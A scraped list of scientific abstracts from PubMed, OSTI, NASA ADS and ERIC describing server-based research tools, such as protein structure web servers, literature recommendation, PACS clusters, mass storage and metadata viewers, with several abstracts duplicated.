We have developed the Space Weather Monitoring System (SWMS) at the Korea Astronomy and Space Science Institute (KASI). Since 2007, the system has continuously evolved into a better system. The SWMS consists of several subsystems: applications which acquire and process observational data, servers which run the applications, data storage, and display facilities which show the space weather information. The applications collect solar and space weather data from domestic and oversea sites. The collected data are converted to other format and/or visualized in real time as graphs and illustrations. We manage 3 data acquisition and processing servers, a file service server, a web server, and 3 sets of storage systems. We have developed 30 applications for a variety of data, and the volume of data is about 5.5 GB per day. We provide our customers with space weather contents displayed at the Space Weather Monitoring Lab (SWML) using web services.

TogoDoc server/client system: smart recommendation and efficient management of life science literature.

PubMed

Iwasaki, Wataru; Yamamoto, Yasunori; Takagi, Toshihisa

2010-12-13

In this paper, we describe a server/client literature management system specialized for the life science domain, the TogoDoc system (Togo, pronounced Toe-Go, is a romanization of a Japanese word for integration). The server and the client program cooperate closely over the Internet to provide life scientists with an effective literature recommendation service and efficient literature management. The content-based and personalized literature recommendation helps researchers to isolate interesting papers from the "tsunami" of literature, in which, on average, more than one biomedical paper is added to MEDLINE every minute. Because researchers these days need to cover updates of much wider topics to generate hypotheses using massive datasets obtained from public databases or omics experiments, the importance of having an effective literature recommendation service is rising. The automatic recommendation is based on the content of personal literature libraries of electronic PDF papers. The client program automatically analyzes these files, which are sometimes deeply buried in storage disks of researchers' personal computers. Just saving PDF papers to the designated folders makes the client program automatically analyze and retrieve metadata, rename file names, synchronize the data to the server, and receive the recommendation lists of newly published papers, thus accomplishing effortless literature management. In addition, the tag suggestion and associative search functions are provided for easy classification of and access to past papers (researchers who read many papers sometimes only vaguely remember or completely forget what they read in the past). The TogoDoc system is available for both Windows and Mac OS X and is free. The TogoDoc Client software is available at http://tdc.cb.k.u-tokyo.ac.jp/, and the TogoDoc server is available at https://docman.dbcls.jp/pubmed_recom.

TogoDoc Server/Client System: Smart Recommendation and Efficient Management of Life Science Literature

PubMed Central

Takagi, Toshihisa

2010-01-01

In this paper, we describe a server/client literature management system specialized for the life science domain, the TogoDoc system (Togo, pronounced Toe-Go, is a romanization of a Japanese word for integration). The server and the client program cooperate closely over the Internet to provide life scientists with an effective literature recommendation service and efficient literature management. The content-based and personalized literature recommendation helps researchers to isolate interesting papers from the “tsunami” of literature, in which, on average, more than one biomedical paper is added to MEDLINE every minute. Because researchers these days need to cover updates of much wider topics to generate hypotheses using massive datasets obtained from public databases or omics experiments, the importance of having an effective literature recommendation service is rising. The automatic recommendation is based on the content of personal literature libraries of electronic PDF papers. The client program automatically analyzes these files, which are sometimes deeply buried in storage disks of researchers' personal computers. Just saving PDF papers to the designated folders makes the client program automatically analyze and retrieve metadata, rename file names, synchronize the data to the server, and receive the recommendation lists of newly published papers, thus accomplishing effortless literature management. In addition, the tag suggestion and associative search functions are provided for easy classification of and access to past papers (researchers who read many papers sometimes only vaguely remember or completely forget what they read in the past). The TogoDoc system is available for both Windows and Mac OS X and is free. The TogoDoc Client software is available at http://tdc.cb.k.u-tokyo.ac.jp/, and the TogoDoc server is available at https://docman.dbcls.jp/pubmed_recom. PMID:21179453

DOE Office of Scientific and Technical Information (OSTI.GOV)

Enders, Alexander L.; Lousteau, Angela L.

The Desktop Analysis Reporting Tool (DART) is a software package that allows users to easily view and analyze daily files that span long periods. DART gives users the capability to quickly determine the state of health of a radiation portal monitor (RPM), troubleshoot and diagnose problems, and view data in various time frames to perform trend analysis. In short, it converts the data strings written in the daily files into meaningful tables and plots. The standalone version of DART (“soloDART”) utilizes a database engine that is included with the application; no additional installations are necessary. There is also a networkedmore » version of DART (“polyDART”) that is designed to maximize the benefit of a centralized data repository while distributing the workload to individual desktop machines. This networked approach requires a more complex database manager Structured Query Language (SQL) Server; however, SQL Server is not currently provided with DART. Regardless of which version is used, DART will import daily files from RPMs, store the relevant data in its database, and it can produce reports for status, trend analysis, and reporting purposes.« less

MovieMaker: a web server for rapid rendering of protein motions and interactions.

PubMed

Maiti, Rajarshi; Van Domselaar, Gary H; Wishart, David S

2005-07-01

MovieMaker is a web server that allows short ( approximately 10 s), downloadable movies of protein motions to be generated. It accepts PDB files or PDB accession numbers as input and automatically calculates, renders and merges the necessary image files to create colourful animations covering a wide range of protein motions and other dynamic processes. Users have the option of animating (i) simple rotation, (ii) morphing between two end-state conformers, (iii) short-scale, picosecond vibrations, (iv) ligand docking, (v) protein oligomerization, (vi) mid-scale nanosecond (ensemble) motions and (vii) protein folding/unfolding. MovieMaker does not perform molecular dynamics calculations. Instead it is an animation tool that uses a sophisticated superpositioning algorithm in conjunction with Cartesian coordinate interpolation to rapidly and automatically calculate the intermediate structures needed for many of its animations. Users have extensive control over the rendering style, structure colour, animation quality, background and other image features. MovieMaker is intended to be a general-purpose server that allows both experts and non-experts to easily generate useful, informative protein animations for educational and illustrative purposes. MovieMaker is accessible at http://wishart.biology.ualberta.ca/moviemaker.

Web-accessible molecular modeling with Rosetta: The Rosetta Online Server that Includes Everyone (ROSIE).

PubMed

Moretti, Rocco; Lyskov, Sergey; Das, Rhiju; Meiler, Jens; Gray, Jeffrey J

2018-01-01

The Rosetta molecular modeling software package provides a large number of experimentally validated tools for modeling and designing proteins, nucleic acids, and other biopolymers, with new protocols being added continually. While freely available to academic users, external usage is limited by the need for expertise in the Unix command line environment. To make Rosetta protocols available to a wider audience, we previously created a web server called Rosetta Online Server that Includes Everyone (ROSIE), which provides a common environment for hosting web-accessible Rosetta protocols. Here we describe a simplification of the ROSIE protocol specification format, one that permits easier implementation of Rosetta protocols. Whereas the previous format required creating multiple separate files in different locations, the new format allows specification of the protocol in a single file. This new, simplified protocol specification has more than doubled the number of Rosetta protocols available under ROSIE. These new applications include pK a determination, lipid accessibility calculation, ribonucleic acid redesign, protein-protein docking, protein-small molecule docking, symmetric docking, antibody docking, cyclic toxin docking, critical binding peptide determination, and mapping small molecule binding sites. ROSIE is freely available to academic users at http://rosie.rosettacommons.org. © 2017 The Protein Society.

Performance enhancement of a web-based picture archiving and communication system using commercial off-the-shelf server clusters.

PubMed

Liu, Yan-Lin; Shih, Cheng-Ting; Chang, Yuan-Jen; Chang, Shu-Jun; Wu, Jay

2014-01-01

The rapid development of picture archiving and communication systems (PACSs) thoroughly changes the way of medical informatics communication and management. However, as the scale of a hospital's operations increases, the large amount of digital images transferred in the network inevitably decreases system efficiency. In this study, a server cluster consisting of two server nodes was constructed. Network load balancing (NLB), distributed file system (DFS), and structured query language (SQL) duplication services were installed. A total of 1 to 16 workstations were used to transfer computed radiography (CR), computed tomography (CT), and magnetic resonance (MR) images simultaneously to simulate the clinical situation. The average transmission rate (ATR) was analyzed between the cluster and noncluster servers. In the download scenario, the ATRs of CR, CT, and MR images increased by 44.3%, 56.6%, and 100.9%, respectively, when using the server cluster, whereas the ATRs increased by 23.0%, 39.2%, and 24.9% in the upload scenario. In the mix scenario, the transmission performance increased by 45.2% when using eight computer units. The fault tolerance mechanisms of the server cluster maintained the system availability and image integrity. The server cluster can improve the transmission efficiency while maintaining high reliability and continuous availability in a healthcare environment.

Performance Enhancement of a Web-Based Picture Archiving and Communication System Using Commercial Off-the-Shelf Server Clusters

PubMed Central

Chang, Shu-Jun; Wu, Jay

2014-01-01

The rapid development of picture archiving and communication systems (PACSs) thoroughly changes the way of medical informatics communication and management. However, as the scale of a hospital's operations increases, the large amount of digital images transferred in the network inevitably decreases system efficiency. In this study, a server cluster consisting of two server nodes was constructed. Network load balancing (NLB), distributed file system (DFS), and structured query language (SQL) duplication services were installed. A total of 1 to 16 workstations were used to transfer computed radiography (CR), computed tomography (CT), and magnetic resonance (MR) images simultaneously to simulate the clinical situation. The average transmission rate (ATR) was analyzed between the cluster and noncluster servers. In the download scenario, the ATRs of CR, CT, and MR images increased by 44.3%, 56.6%, and 100.9%, respectively, when using the server cluster, whereas the ATRs increased by 23.0%, 39.2%, and 24.9% in the upload scenario. In the mix scenario, the transmission performance increased by 45.2% when using eight computer units. The fault tolerance mechanisms of the server cluster maintained the system availability and image integrity. The server cluster can improve the transmission efficiency while maintaining high reliability and continuous availability in a healthcare environment. PMID:24701580

The IntFOLD server: an integrated web resource for protein fold recognition, 3D model quality assessment, intrinsic disorder prediction, domain prediction and ligand binding site prediction.

PubMed

Roche, Daniel B; Buenavista, Maria T; Tetchner, Stuart J; McGuffin, Liam J

2011-07-01

The IntFOLD server is a novel independent server that integrates several cutting edge methods for the prediction of structure and function from sequence. Our guiding principles behind the server development were as follows: (i) to provide a simple unified resource that makes our prediction software accessible to all and (ii) to produce integrated output for predictions that can be easily interpreted. The output for predictions is presented as a simple table that summarizes all results graphically via plots and annotated 3D models. The raw machine readable data files for each set of predictions are also provided for developers, which comply with the Critical Assessment of Methods for Protein Structure Prediction (CASP) data standards. The server comprises an integrated suite of five novel methods: nFOLD4, for tertiary structure prediction; ModFOLD 3.0, for model quality assessment; DISOclust 2.0, for disorder prediction; DomFOLD 2.0 for domain prediction; and FunFOLD 1.0, for ligand binding site prediction. Predictions from the IntFOLD server were found to be competitive in several categories in the recent CASP9 experiment. The IntFOLD server is available at the following web site: http://www.reading.ac.uk/bioinf/IntFOLD/.

3Drefine: an interactive web server for efficient protein structure refinement

PubMed Central

Bhattacharya, Debswapna; Nowotny, Jackson; Cao, Renzhi; Cheng, Jianlin

2016-01-01

3Drefine is an interactive web server for consistent and computationally efficient protein structure refinement with the capability to perform web-based statistical and visual analysis. The 3Drefine refinement protocol utilizes iterative optimization of hydrogen bonding network combined with atomic-level energy minimization on the optimized model using a composite physics and knowledge-based force fields for efficient protein structure refinement. The method has been extensively evaluated on blind CASP experiments as well as on large-scale and diverse benchmark datasets and exhibits consistent improvement over the initial structure in both global and local structural quality measures. The 3Drefine web server allows for convenient protein structure refinement through a text or file input submission, email notification, provided example submission and is freely available without any registration requirement. The server also provides comprehensive analysis of submissions through various energy and statistical feedback and interactive visualization of multiple refined models through the JSmol applet that is equipped with numerous protein model analysis tools. The web server has been extensively tested and used by many users. As a result, the 3Drefine web server conveniently provides a useful tool easily accessible to the community. The 3Drefine web server has been made publicly available at the URL: http://sysbio.rnet.missouri.edu/3Drefine/. PMID:27131371

Network Solutions.

ERIC Educational Resources Information Center

Vietzke, Robert; And Others

1996-01-01

This special section explains the latest developments in networking technologies, profiles school districts benefiting from successful implementations, and reviews new products for building networks. Highlights include ATM (asynchronous transfer mode), cable modems, networking switches, Internet screening software, file servers, network management…

A proposed UAV for indoor patient care.

PubMed

Todd, Catherine; Watfa, Mohamed; El Mouden, Yassine; Sahir, Sana; Ali, Afrah; Niavarani, Ali; Lutfi, Aoun; Copiaco, Abigail; Agarwal, Vaibhavi; Afsari, Kiyan; Johnathon, Chris; Okafor, Onyeka; Ayad, Marina

2015-09-10

Indoor flight, obstacle avoidance and client-server communication of an Unmanned Aerial Vehicle (UAV) raises several unique research challenges. This paper examines current methods and associated technologies adapted within the literature toward autonomous UAV flight, for consideration in a proposed system for indoor healthcare administration with a quadcopter. We introduce Healthbuddy, a unique research initiative towards overcoming challenges associated with indoor navigation, collision detection and avoidance, stability, wireless drone-server communications and automated decision support for patient care in a GPS-denied environment. To address the identified research deficits, a drone-based solution is presented. The solution is preliminary as we develop and refine the suggested algorithms and hardware system to achieve the research objectives.

Parallel file system with metadata distributed across partitioned key-value store c

DOEpatents

Bent, John M.; Faibish, Sorin; Grider, Gary; Torres, Aaron

2017-09-19

Improved techniques are provided for storing metadata associated with a plurality of sub-files associated with a single shared file in a parallel file system. The shared file is generated by a plurality of applications executing on a plurality of compute nodes. A compute node implements a Parallel Log Structured File System (PLFS) library to store at least one portion of the shared file generated by an application executing on the compute node and metadata for the at least one portion of the shared file on one or more object storage servers. The compute node is also configured to implement a partitioned data store for storing a partition of the metadata for the shared file, wherein the partitioned data store communicates with partitioned data stores on other compute nodes using a message passing interface. The partitioned data store can be implemented, for example, using Multidimensional Data Hashing Indexing Middleware (MDHIM).

DOE Office of Scientific and Technical Information (OSTI.GOV)

Fox, Kevin

The software provides a simple web api to allow users to request a time window where a file will not be removed from cache. HPSS provides the concept of a "purge lock". When a purge lock is set on a file, the file will not be removed from disk, entering tape only state. A lot of network file protocols assume a file is on disk so it is good to purge lock a file before transferring using one of those protocols. HPSS's purge lock system is very coarse grained though. A file is either purge locked or not. Nothing enforcesmore » quotas, timely unlocking of purge locks, or managing the races inherent with multiple users wanting to lock/unlock the same file. The Purge Lock Server lets you, through a simple REST API, specify a list of files to purge lock and an expire time, and the system will ensure things happen properly.« less

UNRES server for physics-based coarse-grained simulations and prediction of protein structure, dynamics and thermodynamics.

PubMed

Czaplewski, Cezary; Karczynska, Agnieszka; Sieradzan, Adam K; Liwo, Adam

2018-04-30

A server implementation of the UNRES package (http://www.unres.pl) for coarse-grained simulations of protein structures with the physics-based UNRES model, coined a name UNRES server, is presented. In contrast to most of the protein coarse-grained models, owing to its physics-based origin, the UNRES force field can be used in simulations, including those aimed at protein-structure prediction, without ancillary information from structural databases; however, the implementation includes the possibility of using restraints. Local energy minimization, canonical molecular dynamics simulations, replica exchange and multiplexed replica exchange molecular dynamics simulations can be run with the current UNRES server; the latter are suitable for protein-structure prediction. The user-supplied input includes protein sequence and, optionally, restraints from secondary-structure prediction or small x-ray scattering data, and simulation type and parameters which are selected or typed in. Oligomeric proteins, as well as those containing D-amino-acid residues and disulfide links can be treated. The output is displayed graphically (minimized structures, trajectories, final models, analysis of trajectory/ensembles); however, all output files can be downloaded by the user. The UNRES server can be freely accessed at http://unres-server.chem.ug.edu.pl.

The GEON Integrated Data Viewer (IDV) and IRIS DMC Services Illustrate CyberInfrastructure Support for Seismic Data Visualization and Interpretation

NASA Astrophysics Data System (ADS)

Meertens, C.; Wier, S.; Ahern, T.; Casey, R.; Weertman, B.; Laughbon, C.

2008-12-01

UNAVCO and the IRIS DMC are data service partners for seismic visualization, particularly for hypocentral data and tomography. UNAVCO provides the GEON Integrated Data Viewer (IDV), an extension of the Unidata IDV, a free, interactive, research-level, software display and analysis tool for data in 3D (latitude, longitude, depth) and 4D (with time), located on or inside the Earth. The GEON IDV is designed to meet the challenge of investigating complex, multi-variate, time-varying, three- dimensional geoscience data in the context of new remote and shared data sources. The GEON IDV supports data access from data sources using HTTP and FTP servers, OPeNDAP servers, THREDDS catalogs, RSS feeds, and WMS (web map) servers. The IRIS DMC (Data Management System) has developed web services providing data for earthquake hypocentral data and seismic tomography model grids. These services can be called by the GEON IDV to access data at IRIS without copying files. The IRIS Earthquake Browser (IEB) is a web-based query tool for hypocentral data. The IEB combines the DMC's large database of more than 1,900,000 earthquakes with the Google Maps web interface. With the IEB you can quickly find earthquakes in any region of the globe and then import this information into the GEON Integrated Data Viewer where the hypocenters may be visualized. You can select earthquakes by location region, time, depth, and magnitude. The IEB gives the IDV a URL to the selected data. The IDV then shows the data as maps or 3D displays, with interactive control of vertical scale, area, map projection, with symbol size and color control by magnitude or depth. The IDV can show progressive time animation of, for example, aftershocks filling a source region. The IRIS Tomoserver converts seismic tomography model output grids to NetCDF for use in the IDV. The Tomoserver accepts a tomographic model file as input from a user and provides an equivalent NetCDF file as output. The service supports NA04, S3D, A1D and CUB input file formats, contributed by their respective creators. The NetCDF file is saved to a location that can be referenced with a URL on an IRIS server. The URL for the NetCDF file is provided to the user. The user can download the data from IRIS, or copy the URL into IDV directly for interpretation, and the IDV will access the data at IRIS. The Tomoserver conversion software was developed by Instrumental Software Technologies, Inc. Use cases with the GEON IDV and IRIS DMC data services will be shown.

NASA Langley Research Center's distributed mass storage system

NASA Technical Reports Server (NTRS)

Pao, Juliet Z.; Humes, D. Creig

1993-01-01

There is a trend in institutions with high performance computing and data management requirements to explore mass storage systems with peripherals directly attached to a high speed network. The Distributed Mass Storage System (DMSS) Project at NASA LaRC is building such a system and expects to put it into production use by the end of 1993. This paper presents the design of the DMSS, some experiences in its development and use, and a performance analysis of its capabilities. The special features of this system are: (1) workstation class file servers running UniTree software; (2) third party I/O; (3) HIPPI network; (4) HIPPI/IPI3 disk array systems; (5) Storage Technology Corporation (STK) ACS 4400 automatic cartridge system; (6) CRAY Research Incorporated (CRI) CRAY Y-MP and CRAY-2 clients; (7) file server redundancy provision; and (8) a transition mechanism from the existent mass storage system to the DMSS.

Workflow opportunities using JPEG 2000

NASA Astrophysics Data System (ADS)

Foshee, Scott

2002-11-01

JPEG 2000 is a new image compression standard from ISO/IEC JTC1 SC29 WG1, the Joint Photographic Experts Group (JPEG) committee. Better thought of as a sibling to JPEG rather than descendant, the JPEG 2000 standard offers wavelet based compression as well as companion file formats and related standardized technology. This paper examines the JPEG 2000 standard for features in four specific areas-compression, file formats, client-server, and conformance/compliance that enable image workflows.

Development of a user-friendly system for image processing of electron microscopy by integrating a web browser and PIONE with Eos.

PubMed

Tsukamoto, Takafumi; Yasunaga, Takuo

2014-11-01

Eos (Extensible object-oriented system) is one of the powerful applications for image processing of electron micrographs. In usual cases, Eos works with only character user interfaces (CUI) under the operating systems (OS) such as OS-X or Linux, not user-friendly. Thus, users of Eos need to be expert at image processing of electron micrographs, and have a little knowledge of computer science, as well. However, all the persons who require Eos does not an expert for CUI. Thus we extended Eos to a web system independent of OS with graphical user interfaces (GUI) by integrating web browser.Advantage to use web browser is not only to extend Eos with GUI, but also extend Eos to work under distributed computational environment. Using Ajax (Asynchronous JavaScript and XML) technology, we implemented more comfortable user-interface on web browser. Eos has more than 400 commands related to image processing for electron microscopy, and the usage of each command is different from each other. Since the beginning of development, Eos has managed their user-interface by using the interface definition file of "OptionControlFile" written in CSV (Comma-Separated Value) format, i.e., Each command has "OptionControlFile", which notes information for interface and its usage generation. Developed GUI system called "Zephyr" (Zone for Easy Processing of HYpermedia Resources) also accessed "OptionControlFIle" and produced a web user-interface automatically, because its mechanism is mature and convenient,The basic actions of client side system was implemented properly and can supply auto-generation of web-form, which has functions of execution, image preview, file-uploading to a web server. Thus the system can execute Eos commands with unique options for each commands, and process image analysis. There remain problems of image file format for visualization and workspace for analysis: The image file format information is useful to check whether the input/output file is correct and we also need to provide common workspace for analysis because the client is physically separated from a server. We solved the file format problem by extension of rules of OptionControlFile of Eos. Furthermore, to solve workspace problems, we have developed two type of system. The first system is to use only local environments. The user runs a web server provided by Eos, access to a web client through a web browser, and manipulate the local files with GUI on the web browser. The second system is employing PIONE (Process-rule for Input/Output Negotiation Environment), which is our developing platform that works under heterogenic distributed environment. The users can put their resources, such as microscopic images, text files and so on, into the server-side environment supported by PIONE, and so experts can write PIONE rule definition, which defines a workflow of image processing. PIONE run each image processing on suitable computers, following the defined rule. PIONE has the ability of interactive manipulation, and user is able to try a command with various setting values. In this situation, we contribute to auto-generation of GUI for a PIONE workflow.As advanced functions, we have developed a module to log user actions. The logs include information such as setting values in image processing, procedure of commands and so on. If we use the logs effectively, we can get a lot of advantages. For example, when an expert may discover some know-how of image processing, other users can also share logs including his know-hows and so we may obtain recommendation workflow of image analysis, if we analyze logs. To implement social platform of image processing for electron microscopists, we have developed system infrastructure, as well. © The Author 2014. Published by Oxford University Press on behalf of The Japanese Society of Microscopy. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

Mass Storage Systems.

ERIC Educational Resources Information Center

Ranade, Sanjay; Schraeder, Jeff

1991-01-01

Presents an overview of the mass storage market and discusses mass storage systems as part of computer networks. Systems for personal computers, workstations, minicomputers, and mainframe computers are described; file servers are explained; system integration issues are raised; and future possibilities are suggested. (LRW)

Web processing service for landslide hazard assessment

NASA Astrophysics Data System (ADS)

Sandric, I.; Ursaru, P.; Chitu, D.; Mihai, B.; Savulescu, I.

2012-04-01

Hazard analysis requires heavy computation and specialized software. Web processing services can offer complex solutions that can be accessed through a light client (web or desktop). This paper presents a web processing service (both WPS and Esri Geoprocessing Service) for landslides hazard assessment. The web processing service was build with Esri ArcGIS Server solution and Python, developed using ArcPy, GDAL Python and NumPy. A complex model for landslide hazard analysis using both predisposing and triggering factors combined into a Bayesian temporal network with uncertainty propagation was build and published as WPS and Geoprocessing service using ArcGIS Standard Enterprise 10.1. The model uses as predisposing factors the first and second derivatives from DEM, the effective precipitations, runoff, lithology and land use. All these parameters can be served by the client from other WFS services or by uploading and processing the data on the server. The user can select the option of creating the first and second derivatives from the DEM automatically on the server or to upload the data already calculated. One of the main dynamic factors from the landslide analysis model is leaf area index. The LAI offers the advantage of modelling not just the changes from different time periods expressed in years, but also the seasonal changes in land use throughout a year. The LAI index can be derived from various satellite images or downloaded as a product. The upload of such data (time series) is possible using a NetCDF file format. The model is run in a monthly time step and for each time step all the parameters values, a-priory, conditional and posterior probability are obtained and stored in a log file. The validation process uses landslides that have occurred during the period up to the active time step and checks the records of the probabilities and parameters values for those times steps with the values of the active time step. Each time a landslide has been positive identified new a-priory probabilities are recorded for each parameter. A complete log for the entire model is saved and used for statistical analysis and a NETCDF file is created and it can be downloaded from the server with the log file

Comparison of approaches for mobile document image analysis using server supported smartphones

NASA Astrophysics Data System (ADS)

Ozarslan, Suleyman; Eren, P. Erhan

2014-03-01

With the recent advances in mobile technologies, new capabilities are emerging, such as mobile document image analysis. However, mobile phones are still less powerful than servers, and they have some resource limitations. One approach to overcome these limitations is performing resource-intensive processes of the application on remote servers. In mobile document image analysis, the most resource consuming process is the Optical Character Recognition (OCR) process, which is used to extract text in mobile phone captured images. In this study, our goal is to compare the in-phone and the remote server processing approaches for mobile document image analysis in order to explore their trade-offs. For the inphone approach, all processes required for mobile document image analysis run on the mobile phone. On the other hand, in the remote-server approach, core OCR process runs on the remote server and other processes run on the mobile phone. Results of the experiments show that the remote server approach is considerably faster than the in-phone approach in terms of OCR time, but adds extra delays such as network delay. Since compression and downscaling of images significantly reduce file sizes and extra delays, the remote server approach overall outperforms the in-phone approach in terms of selected speed and correct recognition metrics, if the gain in OCR time compensates for the extra delays. According to the results of the experiments, using the most preferable settings, the remote server approach performs better than the in-phone approach in terms of speed and acceptable correct recognition metrics.

EOS ODL Metadata On-line Viewer

NASA Astrophysics Data System (ADS)

Yang, J.; Rabi, M.; Bane, B.; Ullman, R.

2002-12-01

We have recently developed and deployed an EOS ODL metadata on-line viewer. The EOS ODL metadata viewer is a web server that takes: 1) an EOS metadata file in Object Description Language (ODL), 2) parameters, such as which metadata to view and what style of display to use, and returns an HTML or XML document displaying the requested metadata in the requested style. This tool is developed to address widespread complaints by science community that the EOS Data and Information System (EOSDIS) metadata files in ODL are difficult to read by allowing users to upload and view an ODL metadata file in different styles using a web browser. Users have the selection to view all the metadata or part of the metadata, such as Collection metadata, Granule metadata, or Unsupported Metadata. Choices of display styles include 1) Web: a mouseable display with tabs and turn-down menus, 2) Outline: Formatted and colored text, suitable for printing, 3) Generic: Simple indented text, a direct representation of the underlying ODL metadata, and 4) None: No stylesheet is applied and the XML generated by the converter is returned directly. Not all display styles are implemented for all the metadata choices. For example, Web style is only implemented for Collection and Granule metadata groups with known attribute fields, but not for Unsupported, Other, and All metadata. The overall strategy of the ODL viewer is to transform an ODL metadata file to a viewable HTML in two steps. The first step is to convert the ODL metadata file to an XML using a Java-based parser/translator called ODL2XML. The second step is to transform the XML to an HTML using stylesheets. Both operations are done on the server side. This allows a lot of flexibility in the final result, and is very portable cross-platform. Perl CGI behind the Apache web server is used to run the Java ODL2XML, and then run the results through an XSLT processor. The EOS ODL viewer can be accessed from either a PC or a Mac using Internet Explorer 5.0+ or Netscape 4.7+.

3Drefine: an interactive web server for efficient protein structure refinement.

PubMed

Bhattacharya, Debswapna; Nowotny, Jackson; Cao, Renzhi; Cheng, Jianlin

2016-07-08

3Drefine is an interactive web server for consistent and computationally efficient protein structure refinement with the capability to perform web-based statistical and visual analysis. The 3Drefine refinement protocol utilizes iterative optimization of hydrogen bonding network combined with atomic-level energy minimization on the optimized model using a composite physics and knowledge-based force fields for efficient protein structure refinement. The method has been extensively evaluated on blind CASP experiments as well as on large-scale and diverse benchmark datasets and exhibits consistent improvement over the initial structure in both global and local structural quality measures. The 3Drefine web server allows for convenient protein structure refinement through a text or file input submission, email notification, provided example submission and is freely available without any registration requirement. The server also provides comprehensive analysis of submissions through various energy and statistical feedback and interactive visualization of multiple refined models through the JSmol applet that is equipped with numerous protein model analysis tools. The web server has been extensively tested and used by many users. As a result, the 3Drefine web server conveniently provides a useful tool easily accessible to the community. The 3Drefine web server has been made publicly available at the URL: http://sysbio.rnet.missouri.edu/3Drefine/. © The Author(s) 2016. Published by Oxford University Press on behalf of Nucleic Acids Research.

XpressWare Installation User guide

NASA Astrophysics Data System (ADS)

Duffey, K. P.

XpressWare is a set of X terminal software, released by Tektronix Inc, that accommodates the X Window system on a range of host computers. The software comprises boot files (the X server image), configuration files, fonts, and font tools to support the X terminal. The files can be installed on one host or distributed across multiple hosts The purpose of this guide is to present the system or network administrator with a step-by-step account of how to install XpressWare, and how subsequently to configure the X terminals appropriately for the environment in which they operate.

NASA Thesaurus Data File

NASA Technical Reports Server (NTRS)

2012-01-01

The NASA Thesaurus contains the authorized NASA subject terms used to index and retrieve materials in the NASA Aeronautics and Space Database (NA&SD) and NASA Technical Reports Server (NTRS). The scope of this controlled vocabulary includes not only aerospace engineering, but all supporting areas of engineering and physics, the natural space sciences (astronomy, astrophysics, planetary science), Earth sciences, and the biological sciences. The NASA Thesaurus Data File contains all valid terms and hierarchical relationships, USE references, and related terms in machine-readable form. The Data File is available in the following formats: RDF/SKOS, RDF/OWL, ZThes-1.0, and CSV/TXT.

CABS-flex: server for fast simulation of protein structure fluctuations

PubMed Central

Jamroz, Michal; Kolinski, Andrzej; Kmiecik, Sebastian

2013-01-01

The CABS-flex server (http://biocomp.chem.uw.edu.pl/CABSflex) implements CABS-model–based protocol for the fast simulations of near-native dynamics of globular proteins. In this application, the CABS model was shown to be a computationally efficient alternative to all-atom molecular dynamics—a classical simulation approach. The simulation method has been validated on a large set of molecular dynamics simulation data. Using a single input (user-provided file in PDB format), the CABS-flex server outputs an ensemble of protein models (in all-atom PDB format) reflecting the flexibility of the input structure, together with the accompanying analysis (residue mean-square-fluctuation profile and others). The ensemble of predicted models can be used in structure-based studies of protein functions and interactions. PMID:23658222

CABS-flex: Server for fast simulation of protein structure fluctuations.

PubMed

Jamroz, Michal; Kolinski, Andrzej; Kmiecik, Sebastian

2013-07-01

The CABS-flex server (http://biocomp.chem.uw.edu.pl/CABSflex) implements CABS-model-based protocol for the fast simulations of near-native dynamics of globular proteins. In this application, the CABS model was shown to be a computationally efficient alternative to all-atom molecular dynamics--a classical simulation approach. The simulation method has been validated on a large set of molecular dynamics simulation data. Using a single input (user-provided file in PDB format), the CABS-flex server outputs an ensemble of protein models (in all-atom PDB format) reflecting the flexibility of the input structure, together with the accompanying analysis (residue mean-square-fluctuation profile and others). The ensemble of predicted models can be used in structure-based studies of protein functions and interactions.

PAnalyzer: a software tool for protein inference in shotgun proteomics.

PubMed

Prieto, Gorka; Aloria, Kerman; Osinalde, Nerea; Fullaondo, Asier; Arizmendi, Jesus M; Matthiesen, Rune

2012-11-05

Protein inference from peptide identifications in shotgun proteomics must deal with ambiguities that arise due to the presence of peptides shared between different proteins, which is common in higher eukaryotes. Recently data independent acquisition (DIA) approaches have emerged as an alternative to the traditional data dependent acquisition (DDA) in shotgun proteomics experiments. MSE is the term used to name one of the DIA approaches used in QTOF instruments. MSE data require specialized software to process acquired spectra and to perform peptide and protein identifications. However the software available at the moment does not group the identified proteins in a transparent way by taking into account peptide evidence categories. Furthermore the inspection, comparison and report of the obtained results require tedious manual intervention. Here we report a software tool to address these limitations for MSE data. In this paper we present PAnalyzer, a software tool focused on the protein inference process of shotgun proteomics. Our approach considers all the identified proteins and groups them when necessary indicating their confidence using different evidence categories. PAnalyzer can read protein identification files in the XML output format of the ProteinLynx Global Server (PLGS) software provided by Waters Corporation for their MSE data, and also in the mzIdentML format recently standardized by HUPO-PSI. Multiple files can also be read simultaneously and are considered as technical replicates. Results are saved to CSV, HTML and mzIdentML (in the case of a single mzIdentML input file) files. An MSE analysis of a real sample is presented to compare the results of PAnalyzer and ProteinLynx Global Server. We present a software tool to deal with the ambiguities that arise in the protein inference process. Key contributions are support for MSE data analysis by ProteinLynx Global Server and technical replicates integration. PAnalyzer is an easy to use multiplatform and free software tool.

PAnalyzer: A software tool for protein inference in shotgun proteomics

PubMed Central

2012-01-01

Background Protein inference from peptide identifications in shotgun proteomics must deal with ambiguities that arise due to the presence of peptides shared between different proteins, which is common in higher eukaryotes. Recently data independent acquisition (DIA) approaches have emerged as an alternative to the traditional data dependent acquisition (DDA) in shotgun proteomics experiments. MSE is the term used to name one of the DIA approaches used in QTOF instruments. MSE data require specialized software to process acquired spectra and to perform peptide and protein identifications. However the software available at the moment does not group the identified proteins in a transparent way by taking into account peptide evidence categories. Furthermore the inspection, comparison and report of the obtained results require tedious manual intervention. Here we report a software tool to address these limitations for MSE data. Results In this paper we present PAnalyzer, a software tool focused on the protein inference process of shotgun proteomics. Our approach considers all the identified proteins and groups them when necessary indicating their confidence using different evidence categories. PAnalyzer can read protein identification files in the XML output format of the ProteinLynx Global Server (PLGS) software provided by Waters Corporation for their MSE data, and also in the mzIdentML format recently standardized by HUPO-PSI. Multiple files can also be read simultaneously and are considered as technical replicates. Results are saved to CSV, HTML and mzIdentML (in the case of a single mzIdentML input file) files. An MSE analysis of a real sample is presented to compare the results of PAnalyzer and ProteinLynx Global Server. Conclusions We present a software tool to deal with the ambiguities that arise in the protein inference process. Key contributions are support for MSE data analysis by ProteinLynx Global Server and technical replicates integration. PAnalyzer is an easy to use multiplatform and free software tool. PMID:23126499

Zen and the Art of Virtual Observatory Maintenance

NASA Astrophysics Data System (ADS)

Bargatze, L. F.

2014-12-01

